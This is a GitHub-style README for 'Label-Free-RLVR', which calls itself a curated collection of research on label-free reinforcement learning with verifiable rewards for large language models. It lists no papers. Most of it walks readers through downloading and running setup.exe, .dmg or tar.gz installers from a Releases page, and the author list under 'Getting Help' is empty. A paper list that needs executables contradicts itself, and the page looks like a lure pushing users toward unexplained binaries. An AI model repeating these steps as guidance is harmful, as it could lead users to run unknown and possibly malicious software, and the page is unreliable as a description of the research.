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πŸ“š Explore a curated collection of research on Label-Free Reinforcement Learning with Verifiable Rewards for enhancing Large Language Models.

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πŸŽ‰ Label-Free-RLVR - Discover Reward-Driven Learning

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πŸš€ Overview

Welcome to Label-Free-RLVR, a collection focused on Label-Free Reinforcement Learning with Verifiable Rewards (RLVR) suitable for Large Language Models (LLMs). This tool provides a deep dive into advanced learning methodologies without requiring external supervision.

πŸ“š What You Will Find Here

  • Papers and resources that explain the concepts of RLVR.
  • Analysis on handling learning tasks with limited data.
  • Techniques for implementing learning processes without direct guidance.

βš™οΈ System Requirements

You can run Label-Free-RLVR on the following systems:

  • Windows: Windows 10 or later
  • Mac: macOS 10.15 (Catalina) or later
  • Linux: Ubuntu 18.04 LTS or later

Make sure your system meets these requirements before proceeding.

πŸ“₯ Download & Install

To get started, you must download the latest version of Label-Free-RLVR. Follow these steps:

  1. Click on the button below to visit the Releases page:

    Download Latest Release

  2. On the Releases page, look for the latest version listed.

  3. Download the file that matches your operating system. The common files may include:

    • Windows: Label-Free-RLVR-setup.exe
    • Mac: Label-Free-RLVR.dmg
    • Linux: Label-Free-RLVR.tar.gz
  4. Once the download is complete, locate the file on your computer.

  5. Follow these steps based on your operating system to install the application:

    • For Windows:
      • Double-click the downloaded setup file.
      • Follow the on-screen instructions to complete the installation.
    • For Mac:
      • Open the downloaded .dmg file.
      • Drag the Label-Free-RLVR icon to your Applications folder.
    • For Linux:
      • Extract the downloaded tar.gz file using your terminal.
      • Navigate to the extracted folder and run the application using the command:
        ./Label-Free-RLVR

🎨 Features

Label-Free-RLVR offers several key features, including:

  • User-Friendly Interface: Easily navigate through papers and concepts.
  • Comprehensive Resources: Access various research materials in one place.
  • Regular Updates: Stay informed with the latest methodologies and practices in reinforcement learning.

πŸ” Getting Help

If you run into problems while downloading or installing, check the following:

  • Make sure your operating system meets the required specifications.
  • Contact support via the issues section of this GitHub repository.
  • You can also reach out to the authors through their personal GitHub pages:

πŸ—žοΈ Stay Updated

Follow the project on GitHub to get notifications about updates and new releases. Your feedback is valuable, and if you see any missing papers or resources, please let us know.

For any additional information, refer to the papers listed in this repository.

Thank you for your interest in Label-Free-RLVR! Happy learning!

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